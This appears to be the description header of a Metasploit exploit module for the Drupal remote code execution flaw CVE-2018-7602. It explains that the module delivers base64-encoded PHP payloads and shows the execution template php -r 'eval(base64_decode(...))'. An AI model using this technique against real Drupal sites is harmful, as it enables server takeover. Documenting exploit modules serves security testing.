          CVE-2018-7602 / SA-CORE-2018-004
          A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x.
          This potentially allows attackers to exploit multiple attack vectors on a Drupal site
          Which could result in the site being compromised.
          This vulnerability is related to Drupal core - Highly critical - Remote Code Execution

          The module can load msf PHP arch payloads, using the php/base64 encoder.

          The resulting RCE on Drupal looks like this: php -r 'eval(base64_decode(#{PAYLOAD}));'
